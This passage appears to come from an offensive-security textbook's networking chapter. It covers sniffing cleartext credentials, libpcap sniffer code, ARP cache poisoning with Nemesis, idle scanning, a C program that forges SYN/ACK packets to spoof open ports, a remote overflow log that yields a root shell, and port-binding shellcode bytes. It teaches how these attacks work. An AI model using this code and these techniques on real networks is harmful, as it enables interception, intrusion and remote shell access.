0x0020			8018	16d0	90b5	0000	0101	080a	000e	10d1								................
0x0030			0007	1fc5	5041	5353	206c	3840	6e69	7465								....PASS.l8@nite
0x0040			0d0a																																											..
21:27:56.179427	192.168.0.118.ftp	>	192.168.0.193.32778:	P	76:103(27)	ack	27
win	17290	<nop,nop,timestamp	466923	921809>	(DF)
0x0000			4500	004f	e0cc	4000	8006	9754	c0a8	0076								E..O..@....T...v
0x0010			c0a8	00c1	0015	800a	292e	8abe	5ed4	9d02								........)...^...
0x0020			8018	438a	4c8c	0000	0101	080a	0007	1feb								..C.L...........
0x0030			000e	10d1	3233	3020	5573	6572	206c	6565								....230.User.lee
0x0040			6368	206c	6f67	6765	6420	696e	2e0d	0a										ch.logged.in...

Data	transmitted	over	the	network	by	services	such	as	telnet,	FTP,	and	POP3	is
unencrypted.	In	the	preceding	example,	the	user	leech	is	seen	logging	into	an
FTP	server	using	the	password	l8@nite.	Since	the	authentication	process	during
login	is	also	unencrypted,	usernames	and	passwords	are	simply	contained	in	the
data	portions	of	the	transmitted	packets.
tcpdump	is	a	wonderful,	general-purpose	packet	sniffer,	but	there	are	specialized
sniffing	tools	designed	specifically	to	search	for	usernames	and	passwords.	One
notable	example	is	Dug	Song's	program,	dsniff,	which	is	smart	enough	to	parse
out	data	that	looks	important.

reader@hacking:~/booksrc	$	sudo	dsniff	-n
dsniff:	listening	on	eth0
-----------------
12/10/02	21:43:21	tcp	192.168.0.193.32782	->	192.168.0.118.21	(ftp)
USER	leech
PASS	l8@nite

-----------------
12/10/02	21:47:49	tcp	192.168.0.193.32785	->	192.168.0.120.23	(telnet)
USER	root	
PASS	5eCr3t

Raw	Socket	Sniffer
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			char	errbuf[PCAP_ERRBUF_SIZE];
			char	*device;
			pcap_t	*pcap_handle;
			int	i;

The	errbuf	variable	is	the	aforementioned	error	buffer,	its	size	coming	from	a
define	in	pcap.h	set	to	256.	The	header	variable	is	a	pcap_pkthdr	structure
containing	extra	capture	information	about	the	packet,	such	as	when	it	was
captured	and	its	length.	The	pcap_handle	pointer	works	similarly	to	a	file
descriptor,	but	is	used	to	reference	a	packet-capturing	object.

device	=	pcap_lookupdev(errbuf);
if(device	==	NULL)
			pcap_fatal("pcap_lookupdev",	errbuf);

printf("Sniffing	on	device	%s\n",	device);

The	pcap_lookupdev()	function	looks	for	a	suitable	device	to	sniff	on.	This	device
is	returned	as	a	string	pointer	referencing	static	function	memory.	For	our	system
this	will	always	be	/dev/eth0,	although	it	will	be	different	on	a	BSD	system.	If	the
function	can't	find	a	suitable	interface,	it	will	return	NULL.

pcap_handle	=	pcap_open_live(device,	4096,	1,	0,	errbuf);
if(pcap_handle	==	NULL)
			pcap_fatal("pcap_open_live",	errbuf);

Similar	to	the	socket	function	and	file	open	function,	the	pcap_open_live()
function	opens	a	packet-capturing	device,	returning	a	handle	to	it.	The	arguments
for	this	function	are	the	device	to	sniff,	the	maximum	packet	size,	a	promiscuous
flag,	a	timeout	value,	and	a	pointer	to	the	error	buffer.	Since	we	want	to	capture
in	promiscuous	mode,	the	promiscuous	flag	is	set	to	1.

for(i=0;	i	<	3;	i++)	{
						packet	=	pcap_next(pcap_handle,	&header);
						printf("Got	a	%d	byte	packet\n",	header.len);
						dump(packet,	header.len);
			}
			pcap_close(pcap_handle);
}

Finally,	the	packet	capture	loop	uses	pcap_next()	to	grab	the	next	packet.	This
function	is	passed	the	pcap_handle	and	a	pointer	to	a	pcap_pkthdr	structure	so	it
can	fill	it	with	details	of	the	capture.	The	function	returns	a	pointer	to	the	packet
and	then	prints	the	packet,	getting	the	length	from	the	capture	header.	Then
pcap_close()	closes	the	capture	interface.
When	this	program	is	compiled,	the	pcap	libraries	must	be	linked.	This	can	be
done	using	the	-l	flag	with	GCC,	as	shown	in	the	output	below.	The	pcap	library
has	been	installed	on	this	system,	so	the	library	and	include	files	are	already	in
standard	locations	the	compiler	knows	about.

reader@hacking:~/booksrc	$	gcc	-o	pcap_sniff	pcap_sniff.c
/tmp/ccYgieqx.o:	In	function	`main':
pcap_sniff.c:(.text+0x1c8):	undefined	reference	to	`pcap_lookupdev'
pcap_sniff.c:(.text+0x233):	undefined	reference	to	`pcap_open_live'
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#define	ETH_ALEN		6			/*	Octets	in	one	ethernet	addr			*/
#define	ETH_HLEN		14				/*	Total	octets	in	header	*/

/*
	*		This	is	an	Ethernet	frame	header.
	*/

struct	ethhdr	{
		unsigned	char	h_dest[ETH_ALEN];	/*	Destination	eth	addr	*/
		unsigned	char	h_source[ETH_ALEN];	/*	Source	ether	addr		*/
		__be16				h_proto;				/*	Packet	type	ID	field	*/
}	__attribute__((packed));

This	structure	contains	the	three	elements	of	an	Ethernet	header.	The	variable
declaration	of	__be16	turns	out	to	be	a	type	definition	for	a	16-bit	unsigned	short
integer.	This	can	be	determined	by	recursively	grepping	for	the	type	definition	in
the	include	files.

reader@hacking:~/booksrc	$
$	grep	-R	"typedef.*__be16"	/usr/include
/usr/include/linux/types.h:typedef	__u16	__bitwise	__be16;

$	grep	-R	"typedef.*__u16"	/usr/include	|	grep	short
/usr/include/linux/i2o-dev.h:typedef	unsigned	short	__u16;
/usr/include/linux/cramfs_fs.h:typedef	unsigned	short	__u16;

/usr/include/asm/types.h:typedef	unsigned	short	__u16;
$

The	include	file	also	defines	the	Ethernet	header	length	in	ETH_HLEN	as	14	bytes.
This	adds	up,	since	the	source	and	destination	MAC	addresses	use	6	bytes	each,
and	the	packet	type	field	is	a	16-bit	short	integer	that	takes	up	2	bytes.	However,
many	compilers	will	pad	structures	along	4-byte	boundaries	for	alignment,	which
means	that	sizeof(struct	ethhdr)	would	return	an	incorrect	size.	To	avoid	this,
ETH_HLEN	or	a	fixed	value	of	14	bytes	should	be	used	for	the	Ethernet	header
length.
By	including	<linux/if_ether.h>,	these	other	include	files	containing	the
required	__be16	type	definition	are	also	included.	Since	we	want	to	make	our	own
structures	for	hacking-network.h,	we	should	strip	out	references	to	unknown	type
definitions.	While	we're	at	it,	let's	give	these	fields	better	names.

Added	to	hacking-network.h

#define	ETHER_ADDR_LEN	6
#define	ETHER_HDR_LEN	14

struct	ether_hdr	{
		unsigned	char	ether_dest_addr[ETHER_ADDR_LEN];	//	Destination	MAC	address
		unsigned	char	ether_src_addr[ETHER_ADDR_LEN];		//	Source	MAC	address
		unsigned	short	ether_type;	//	Type	of	Ethernet	packet
};

We	can	do	the	same	thing	with	the	IP	and	TCP	structures,	using	the
corresponding	structures	and	RFC	diagrams	as	a	reference.
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				+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
				|										Source	Port										|							Destination	Port								|
				+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
				|																								Sequence	Number																								|
				+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
				|																				Acknowledgment	Number																						|
				+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
				|		Data	|											|U|A|P|R|S|F|																															|
				|	Offset|	Reserved		|R|C|S|S|Y|I|												Window													|
				|							|											|G|K|H|T|N|N|																															|
				+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
				|											Checksum												|									Urgent	Pointer								|
				+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
				|																				Options																				|				Padding				|
				+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
				|																													data																														|
				+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

	Data	Offset:	4	bits
					The	number	of	32	bit	words	in	the	TCP	Header.		This	indicates	where
					the	data	begins.		The	TCP	header	(even	one	including	options)	is	an
					integral	number	of	32	bits	long.
	Reserved:	6	bits
					Reserved	for	future	use.		Must	be	zero.
	Options:	variable

Linux's	tcphdr	structure	also	switches	the	ordering	of	the	4-bit	data	offset	field
and	the	4-bit	section	of	the	reserved	field	depending	on	the	host's	byte	order.	The
data	offset	field	is	important,	since	it	tells	the	size	of	the	variablelength	TCP
header.	You	might	have	noticed	that	Linux's	tcphdr	structure	doesn't	save	any
space	for	TCP	options.	This	is	because	the	RFC	defines	this	field	as	optional.	The
size	of	the	TCP	header	will	always	be	32-bit-aligned,	and	the	data	offset	tells	us
how	many	32-bit	words	are	in	the	header.	So	the	TCP	header	size	in	bytes	equals
the	data	offset	field	from	the	header	times	four.	Since	the	data	offset	field	is
required	to	calculate	the	header	size,	we'll	split	the	byte	containing	it,	assuming
little-endian	host	byte	ordering.
The	th_flags	field	of	Linux's	tcphdr	structure	is	defined	as	an	8-bit	unsigned
character.	The	values	defined	below	this	field	are	the	bitmasks	that	correspond	to
the	six	possible	flags.

Added	to	hacking-network.h

struct	tcp_hdr	{
		unsigned	short	tcp_src_port;			//	Source	TCP	port
		unsigned	short	tcp_dest_port;		//	Destination	TCP	port
		unsigned	int	tcp_seq;										//	TCP	sequence	number
		unsigned	int	tcp_ack;										//	TCP	acknowledgment	number
		unsigned	char	reserved:4;						//	4	bits	from	the	6	bits	of	reserved	space
		unsigned	char	tcp_offset:4;				//	TCP	data	offset	for	little-endian	host
		unsigned	char	tcp_flags;							//	TCP	flags	(and	2	bits	from	reserved	space)
#define	TCP_FIN			0x01
#define	TCP_SYN			0x02
#define	TCP_RST			0x04
#define	TCP_PUSH		0x08
#define	TCP_ACK			0x10
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			char	errbuf[PCAP_ERRBUF_SIZE];
			char	*device;
			pcap_t	*pcap_handle;

			device	=	pcap_lookupdev(errbuf);
			if(device	==	NULL)
						pcap_fatal("pcap_lookupdev",	errbuf);

			printf("Sniffing	on	device	%s\n",	device);

			pcap_handle	=	pcap_open_live(device,	4096,	1,	0,	errbuf);
			if(pcap_handle	==	NULL)
						pcap_fatal("pcap_open_live",	errbuf);

			pcap_loop(pcap_handle,	3,	caught_packet,	NULL);
			
			pcap_close(pcap_handle);
}

At	the	beginning	of	this	program,	the	prototype	for	the	callback	function,	called
caught_packet(),	is	declared	along	with	several	decoding	functions.	Everything
else	in	main()	is	basically	the	same,	except	that	the	for	loop	has	been	replaced
with	a	single	call	to	pcap_loop().	This	function	is	passed	the	pcap_handle,	told	to
capture	three	packets,	and	pointed	to	the	callback	function,	caught_packet().
The	final	argument	is	NULL,	since	we	don't	have	any	additional	data	to	pass	along
to	caught_packet().	Also,	notice	that	the	decode_tcp()function	returns	a	u_int.
Since	the	TCP	header	length	is	variable,	this	function	returns	the	length	of	the
TCP	header.

void	caught_packet(u_char	*user_args,	const	struct	pcap_pkthdr	*cap_header,	const	u_char
*packet)	{
			int	tcp_header_length,	total_header_size,	pkt_data_len;
			u_char	*pkt_data;

			printf("====	Got	a	%d	byte	packet	====\n",	cap_header->len);

			decode_ethernet(packet);
			decode_ip(packet+ETHER_HDR_LEN);
			tcp_header_length	=	decode_tcp(packet+ETHER_HDR_LEN+sizeof(struct	ip_hdr));

			total_header_size	=	ETHER_HDR_LEN+sizeof(struct	ip_hdr)+tcp_header_length;
			pkt_data	=	(u_char	*)packet	+	total_header_size;		//	pkt_data	points	to	the	data
	portion.
			pkt_data_len	=	cap_header->len	-	total_header_size;
			if(pkt_data_len	>	0)	{
						printf("\t\t\t%u	bytes	of	packet	data\n",	pkt_data_len);
						dump(pkt_data,	pkt_data_len);
			}	else
						printf("\t\t\tNo	Packet	Data\n");
}

void	pcap_fatal(const	char	*failed_in,	const	char	*errbuf)	{
			printf("Fatal	Error	in	%s:	%s\n",	failed_in,	errbuf);
			exit(1);	
}

The	caught_packet()	function	gets	called	whenever	pcap_loop()	captures	a
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These	three	details,	when	exploited	properly,	allow	an	attacker	to	sniff	network
traffic	on	a	switched	network	using	a	technique	known	as	ARP	redirection.	The
attacker	sends	spoofed	ARP	replies	to	certain	devices	that	cause	the	ARP	cache
entries	to	be	overwritten	with	the	attacker's	data.	This	technique	is	called	ARP
cache	poisoning.	In	order	to	sniff	network	traffic	between	two	points,	A	and	B,	the
attacker	needs	to	poison	the	ARP	cache	of	A	to	cause	A	to	believe	that	B's	IP
address	is	at	the	attacker's	MAC	address,	and	also	poison	the	ARP	cache	of	B	to
cause	B	to	believe	that	A's	IP	address	is	also	at	the	attacker's	MAC	address.	Then
the	attacker's	machine	simply	needs	to	forward	these	packets	to	their	appropriate
final	destinations.	After	that,	all	of	the	traffic	between	A	and	B	still	gets	delivered,
but	it	all	flows	through	the	attacker's	machine,	as	shown	here.

Figure	0x400-8.	

Since	A	and	B	are	wrapping	their	own	Ethernet	headers	on	their	packets	based	on
their	respective	ARP	caches,	A's	IP	traffic	meant	for	B	is	actually	sent	to	the
attacker's	MAC	address,	and	vice	versa.	The	switch	only	filters	traffic	based	on
MAC	address,	so	the	switch	will	work	as	it's	designed	to,	sending	A's	and	B's	IP
traffic,	destined	for	the	attacker's	MAC	address,	to	the	attacker's	port.	Then	the
attacker	rewraps	the	IP	packets	with	the	proper	Ethernet	headers	and	sends
them	back	to	the	switch,	where	they	are	finally	routed	to	their	proper	destination.
The	switch	works	properly;	it's	the	victim	machines	that	are	tricked	into
redirecting	their	traffic	through	the	attacker's	machine.
Due	to	timeout	values,	the	victim	machines	will	periodically	send	out	real	ARP
requests	and	receive	real	ARP	replies	in	response.	In	order	to	maintain	the
redirection	attack,	the	attacker	must	keep	the	victim	machine's	ARP	caches
poisoned.	A	simple	way	to	accomplish	this	is	to	send	spoofed	ARP	replies	to	both	A
and	B	at	a	constant	interval—for	example,	every	10	seconds.
A	gateway	is	a	system	that	routes	all	the	traffic	from	a	local	network	out	to	the
Internet.	ARP	redirection	is	particularly	interesting	when	one	of	the	victim
machines	is	the	default	gateway,	since	the	traffic	between	the	default	gateway
and	another	system	is	that	system's	Internet	traffic.	For	example,	if	a	machine	at
192.168.0.118	is	communicating	with	the	gateway	at	192.168.0.1	over	a	switch,
the	traffic	will	be	restricted	by	MAC	address.	This	means	that	this	traffic	cannot
normally	be	sniffed,	even	in	promiscuous	mode.	In	order	to	sniff	this	traffic,	it
must	be	redirected.
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To	redirect	the	traffic,	first	the	MAC	addresses	of	192.168.0.118	and	192.168.0.1
need	to	be	determined.	This	can	be	done	by	pinging	these	hosts,	since	any	IP
connection	attempt	will	use	ARP.	If	you	run	a	sniffer,	you	can	see	the	ARP
communications,	but	the	OS	will	cache	the	resulting	IP/MAC	address	associations.

reader@hacking:~/booksrc	$	ping	-c	1	-w	1	192.168.0.1
PING	192.168.0.1	(192.168.0.1):	56	octets	data
64	octets	from	192.168.0.1:	icmp_seq=0	ttl=64	time=0.4	ms
---	192.168.0.1	ping	statistics	---
1	packets	transmitted,	1	packets	received,	0%	packet	loss
round-trip	min/avg/max	=	0.4/0.4/0.4	ms
reader@hacking:~/booksrc	$	ping	-c	1	-w	1	192.168.0.118
PING	192.168.0.118	(192.168.0.118):	56	octets	data
64	octets	from	192.168.0.118:	icmp_seq=0	ttl=128	time=0.4	ms
---	192.168.0.118	ping	statistics	---
1	packets	transmitted,	1	packets	received,	0%	packet	loss
round-trip	min/avg/max	=	0.4/0.4/0.4	ms
reader@hacking:~/booksrc	$	arp	-na
?	(192.168.0.1)	at	00:50:18:00:0F:01	[ether]	on	eth0
?	(192.168.0.118)	at	00:C0:F0:79:3D:30	[ether]	on	eth0
reader@hacking:~/booksrc	$	ifconfig	eth0
eth0						Link	encap:Ethernet		HWaddr	00:00:AD:D1:C7:ED
										inet	addr:192.168.0.193		Bcast:192.168.0.255		Mask:255.255.255.0
										UP	BROADCAST	NOTRAILERS	RUNNING		MTU:1500		Metric:1
										RX	packets:4153	errors:0	dropped:0	overruns:0	frame:0
										TX	packets:3875	errors:0	dropped:0	overruns:0	carrier:0
										collisions:0	txqueuelen:100
										RX	bytes:601686	(587.5	Kb)		TX	bytes:288567	(281.8	Kb)
										Interrupt:9	Base	address:0xc000	
reader@hacking:~/booksrc	$

After	pinging,	the	MAC	addresses	for	both	192.168.0.118	and	192.168.0.1	are	in
the	attacker's	ARP	cache.	This	way,	packets	can	reach	their	final	destinations
after	being	redirected	to	the	attacker's	machine.	Assuming	IP	forwarding
capabilities	are	compiled	into	the	kernel,	all	we	need	to	do	is	send	some	spoofed
ARP	replies	at	regular	intervals.	192.168.0.118	needs	to	be	told	that	192.168.0.1
is	at	00:00:AD:D1:C7:ED,	and	192.168.0.1	needs	to	be	told	that	192.168.0.118	is
also	at	00:00:AD:D1:C7:ED.	These	spoofed	ARP	packets	can	be	injected	using	a
command-line	packet	injection	tool	called	Nemesis.	Nemesis	was	originally	a	suite
of	tools	written	by	Mark	Grimes,	but	in	the	most	recent	version	1.4,	all
functionality	has	been	rolled	up	into	a	single	utility	by	the	new	maintainer	and
developer,	Jeff	Nathan.	The	source	code	for	Nemesis	is	on	the	LiveCD	at
/usr/src/nemesis-1.4/,	and	it	has	already	been	built	and	installed.

reader@hacking:~/booksrc	$	nemesis

NEMESIS	-=-	The	NEMESIS	Project	Version	1.4	(Build	26)

NEMESIS	Usage:
		nemesis	[mode]	[options]

NEMESIS	modes:
		arp
		dns
		ethernet
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		[Protocol	addr:IP]	192.168.0.118	>	192.168.0.1
	[Hardware	addr:MAC]	00:00:AD:D1:C7:ED	>	00:50:18:00:0F:01
								[ARP	opcode]	Reply
		[ARP	hardware	fmt]	Ethernet	(1)
		[ARP	proto	format]	IP	(0x0800)
		[ARP	protocol	len]	6
		[ARP	hardware	len]	4
Wrote	42	byte	unicast	ARP	request	packet	through	linktype	DLT_EN10MB.
ARP	Packet	Injected	
Redirecting...

You	can	see	how	something	as	simple	as	Nemesis	and	the	standard	BASH	shell
can	be	used	to	quickly	hack	together	a	network	exploit.	Nemesis	uses	a	C	library
called	libnet	to	craft	spoofed	packets	and	inject	them.	Similar	to	libpcap,	this
library	uses	raw	sockets	and	evens	out	the	inconsistencies	between	platforms	with
a	standardized	interface.	libnet	also	provides	several	convenient	functions	for
dealing	with	network	packets,	such	as	checksum	generation.
The	libnet	library	provides	a	simple	and	uniform	API	to	craft	and	inject	network
packets.	It's	well	documented	and	the	functions	have	descriptive	names.	A	high-
level	glance	at	the	source	code	for	Nemesis	shows	how	easy	it	is	to	craft	ARP
packets	using	libnet.	The	source	file	nemesis-arp.c	contains	several	functions	for
crafting	and	injecting	ARP	packets,	using	statically	defined	data	structures	for	the
packet	header	information.	The	nemesis_arp()	function	shown	below	is	called	in
nemesis.c	to	build	and	inject	an	ARP	packet.

From	nemesis-arp.c

static	ETHERhdr	etherhdr;
static	ARPhdr	arphdr;

...

void	nemesis_arp(int	argc,	char	**argv)
{
				const	char	*module=	"ARP/RARP	Packet	Injection";

				nemesis_maketitle(title,	module,	version);

				if	(argc	>	1	&&	!strncmp(argv[1],	"help",	4))
								arp_usage(argv[0]);

				arp_initdata();
				arp_cmdline(argc,	argv);

				arp_validatedata();

				arp_verbose();

				if	(got_payload)
				{
								if	(builddatafromfile(ARPBUFFSIZE,	&pd,	(const	char	*)file,
																				(const	u_int32_t)PAYLOADMODE)	<	0)
												arp_exit(1);
				}

				if	(buildarp(&etherhdr,	&arphdr,	&pd,	device,	reply)	<	0)
				{
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Then,	the	attacker	sends	a	spoofed	SYN	packet	with	the	idle	host's	IP	address	to	a
port	on	the	target	machine.	One	of	two	things	will	happen,	depending	on	whether
that	port	on	the	victim	machine	is	listening:

If	that	port	is	listening,	a	SYN/ACK	packet	will	be	sent	back	to	the	idle	host.
But	since	the	idle	host	didn't	actually	send	out	the	initial	SYN	packet,	this
response	appears	to	be	unsolicited	to	the	idle	host,	and	it	responds	by	sending
back	an	RST	packet.
If	that	port	isn't	listening,	the	target	machine	doesn't	send	a	SYN/ACK	packet
back	to	the	idle	host,	so	the	idle	host	doesn't	respond.

At	this	point,	the	attacker	contacts	the	idle	host	again	to	determine	how	much	the
IP	ID	has	incremented.	If	it	has	only	incremented	by	one	interval,	no	other
packets	were	sent	out	by	the	idle	host	between	the	two	checks.	This	implies	that
the	port	on	the	target	machine	is	closed.	If	the	IP	ID	has	incremented	by	two
intervals,	one	packet,	presumably	an	RST	packet,	was	sent	out	by	the	idle
machine	between	the	checks.	This	implies	that	the	port	on	the	target	machine	is
open.
The	steps	are	illustrated	on	the	next	page	for	both	possible	outcomes.
Of	course,	if	the	idle	host	isn't	truly	idle,	the	results	will	be	skewed.	If	there	is	light
traffic	on	the	idle	host,	multiple	packets	can	be	sent	for	each	port.	If	20	packets
are	sent,	then	a	change	of	20	incremental	steps	should	be	an	indication	of	an	open
port,	and	none,	of	a	closed	port.	Even	if	there	is	light	traffic,	such	as	one	or	two
non–scan-related	packets	sent	by	the	idle	host,	this	difference	is	large	enough	that
it	can	still	be	detected.
If	this	technique	is	used	properly	on	an	idle	host	that	doesn't	have	any	logging
capabilities,	the	attacker	can	scan	any	target	without	ever	revealing	his	or	her	IP
address.
After	finding	a	suitable	idle	host,	this	type	of	scanning	can	be	done	with	nmap
using	the	-sI	command-line	option	followed	by	the	idle	host's	address:

reader@hacking:~/booksrc	$	sudo	nmap	-sI	idlehost.com	192.168.42.7
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			if	(critical_libnet_data.packet	==	NULL)
						libnet_error(LIBNET_ERR_FATAL,	"can't	initialize	packet	memory.\n");

			libnet_seed_prand();

			set_packet_filter(pcap_handle,	(struct	in_addr	*)&target_ip,	existing_ports);

			pcap_loop(pcap_handle,	-1,	caught_packet,	(u_char	*)&critical_libnet_data);
			pcap_close(pcap_handle);
}

/*	Sets	a	packet	filter	to	look	for	established	TCP	connections	to	target_ip	*/
int	set_packet_filter(pcap_t	*pcap_hdl,	struct	in_addr	*target_ip,	u_short	*ports)	{
			struct	bpf_program	filter;
			char	*str_ptr,	filter_string[90	+	(25	*	MAX_EXISTING_PORTS)];
			int	i=0;

			sprintf(filter_string,	"dst	host	%s	and	",	inet_ntoa(*target_ip));	//	Target	IP
			strcat(filter_string,	"tcp[tcpflags]	&	tcp-syn	!=	0	and	tcp[tcpflags]	&	tcp-ack	=	0");

			if(ports[0]	!=	0)	{	//	If	there	is	at	least	one	existing	port
						str_ptr	=	filter_string	+	strlen(filter_string);
						if(ports[1]	==	0)	//	There	is	only	one	existing	port
									sprintf(str_ptr,	"	and	not	dst	port	%hu",	ports[i]);
						else	{	//	Two	or	more	existing	ports
									sprintf(str_ptr,	"	and	not	(dst	port	%hu",	ports[i++]);
									while(ports[i]	!=	0)	{
												str_ptr	=	filter_string	+	strlen(filter_string);
												sprintf(str_ptr,	"	or	dst	port	%hu",	ports[i++]);
									}
									strcat(filter_string,	")");
						}
			}
			printf("DEBUG:	filter	string	is	\'%s\'\n",	filter_string);
			if(pcap_compile(pcap_hdl,	&filter,	filter_string,	0,	0)	==	-1)
						fatal("pcap_compile	failed");

			if(pcap_setfilter(pcap_hdl,	&filter)	==	-1)
						fatal("pcap_setfilter	failed");
}

void	caught_packet(u_char	*user_args,	const	struct	pcap_pkthdr	*cap_header,	const	u_char
*packet)	{
			u_char	*pkt_data;
			struct	libnet_ip_hdr	*IPhdr;
			struct	libnet_tcp_hdr	*TCPhdr;
			struct	data_pass	*passed;
			int	bcount;

			passed	=	(struct	data_pass	*)	user_args;	//	Pass	data	using	a	pointer	to	a	struct

			IPhdr	=	(struct	libnet_ip_hdr	*)	(packet	+	LIBNET_ETH_H);
			TCPhdr	=	(struct	libnet_tcp_hdr	*)	(packet	+	LIBNET_ETH_H	+	LIBNET_TCP_H);

			libnet_build_ip(LIBNET_TCP_H,						//	Size	of	the	packet	sans	IP	header	
						IPTOS_LOWDELAY,																	//	IP	tos	
						libnet_get_prand(LIBNET_PRu16),	//	IP	ID	(randomized)	
						0,																														//	Frag	stuff	
						libnet_get_prand(LIBNET_PR8),			//	TTL	(randomized)	
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						IPPROTO_TCP,																				//	Transport	protocol	
						*((u_long	*)&(IPhdr->ip_dst)),		//	Source	IP	(pretend	we	are	dst)	
						*((u_long	*)&(IPhdr->ip_src)),		//	Destination	IP	(send	back	to	src)	
						NULL,																											//	Payload	(none)	
						0,																														//	Payload	length	
						passed->packet);																//	Packet	header	memory	

			libnet_build_tcp(htons(TCPhdr->th_dport),//	Source	TCP	port	(pretend	we	are	dst)	
						htons(TCPhdr->th_sport),								//	Destination	TCP	port	(send	back	to	src)	
						htonl(TCPhdr->th_ack),										//	Sequence	number	(use	previous	ack)	
						htonl((TCPhdr->th_seq)	+	1),				//	Acknowledgement	number	(SYN's	seq	#	+	1)
						TH_SYN	|	TH_ACK,																//	Control	flags	(RST	flag	set	only)	
						libnet_get_prand(LIBNET_PRu16),	//	Window	size	(randomized)	
						0,																														//	Urgent	pointer
						NULL,																											//	Payload	(none)
						0,																														//	Payload	length	
						(passed->packet)	+	LIBNET_IP_H);//	Packet	header	memory	

			if	(libnet_do_checksum(passed->packet,	IPPROTO_TCP,	LIBNET_TCP_H)	==	-1)
						libnet_error(LIBNET_ERR_FATAL,	"can't	compute	checksum\n");

			bcount	=	libnet_write_ip(passed->libnet_handle,	passed->packet,
	LIBNET_IP_H+LIBNET_TCP_H);
			if	(bcount	<	LIBNET_IP_H	+	LIBNET_TCP_H)
						libnet_error(LIBNET_ERR_WARNING,	"Warning:	Incomplete	packet	written.");
			printf("bing!\n");	
}

There	are	a	few	tricky	parts	in	the	code	above,	but	you	should	be	able	to	follow	all
of	it.	When	the	program	is	compiled	and	executed,	it	will	shroud	the	IP	address
given	as	the	first	argument,	with	the	exception	of	a	list	of	existing	ports	provided
as	the	remaining	arguments.

reader@hacking:~/booksrc	$	gcc	$(libnet-config	--defines)	-o	shroud	shroud.c	-lnet	-lpcap
reader@hacking:~/booksrc	$	sudo	./shroud	192.168.42.72	22	80
DEBUG:	filter	string	is	'dst	host	192.168.42.72	and	tcp[tcpflags]	&	tcp-syn	!=	0	and
tcp[tcpflags]	&	tcp-ack	=	0	and	not	(dst	port	22	or	dst	port	80)'

While	shroud	is	running,	any	port	scanning	attempts	will	show	every	port	to	be
open.

matrix@euclid:~	$	sudo	nmap	-sS	192.168.0.189

Starting	nmap	V.	3.00	(	www.insecure.org/nmap/	)
Interesting	ports	on		(192.168.0.189):
Port							State							Service
1/tcp						open								tcpmux
2/tcp						open								compressnet
3/tcp						open								compressnet
4/tcp						open								unknown
5/tcp						open								rje
6/tcp						open								unknown
7/tcp						open								echo
8/tcp						open								unknown
9/tcp						open								discard
10/tcp					open								unknown
11/tcp					open								systat
12/tcp					open								unknown
13/tcp					open								daytime
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Got	request	from	127.0.0.1:40668	"GET	/image.jpg	HTTP/1.1"
								Opening	'./webroot/image.jpg'				200	OK
Got	request	from	127.0.0.1:58504	
"␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣
␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣
␣␣␣␣␣␣␣␣␣␣␣␣␣␣1␣	1␣	1␣␣␣		j

																																									XQh//shh/bin␣␣S	␣␣␣␣␣␣␣␣␣␣␣␣
␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣
␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣"
	NOT	HTTP!	
sh-3.2#

The	vulnerability	certainly	exists,	but	the	shellcode	doesn't	do	what	we	want	in
this	case.	Since	we're	not	at	the	console,	shellcode	is	just	a	selfcontained
program,	designed	to	take	over	another	program	to	open	a	shell.	Once	control	of
the	program's	execution	pointer	is	taken,	the	injected	shellcode	can	do	anything.
There	are	many	different	types	of	shellcode	that	can	be	used	in	different
situations	(or	payloads).	Even	though	not	all	shellcode	actually	spawns	a	shell,	it's
still	commonly	called	shellcode.

Port-Binding	Shellcode

When	exploiting	a	remote	program,	spawning	a	shell	locally	is	pointless.	Port-
binding	shellcode	listens	for	a	TCP	connection	on	a	certain	port	and	serves	up	the
shell	remotely.	Assuming	you	already	have	port-binding	shellcode	ready,	using	it
is	simply	a	matter	of	replacing	the	shellcode	bytes	defined	in	the	exploit.	Port-
binding	shellcode	is	included	in	the	LiveCD	that	will	bind	to	port	31337.	These
shellcode	bytes	are	shown	in	the	output	below.

reader@hacking:~/booksrc	$	wc	-c	portbinding_shellcode
92	portbinding_shellcode
reader@hacking:~/booksrc	$	hexdump	-C	portbinding_shellcode
00000000		6a	66	58	99	31	db	43	52		6a	01	6a	02	89	e1	cd	80		|jfX.1.CRj.j.....|
00000010		96	6a	66	58	43	52	66	68		7a	69	66	53	89	e1	6a	10		|.jfXCRfhzifS..j.|
00000020		51	56	89	e1	cd	80	b0	66		43	43	53	56	89	e1	cd	80		|QV.....fCCSV....|
00000030		b0	66	43	52	52	56	89	e1		cd	80	93	6a	02	59	b0	3f		|.fCRRV.....j.Y.?|
00000040		cd	80	49	79	f9	b0	0b	52		68	2f	2f	73	68	68	2f	62		|..Iy...Rh//shh/b|
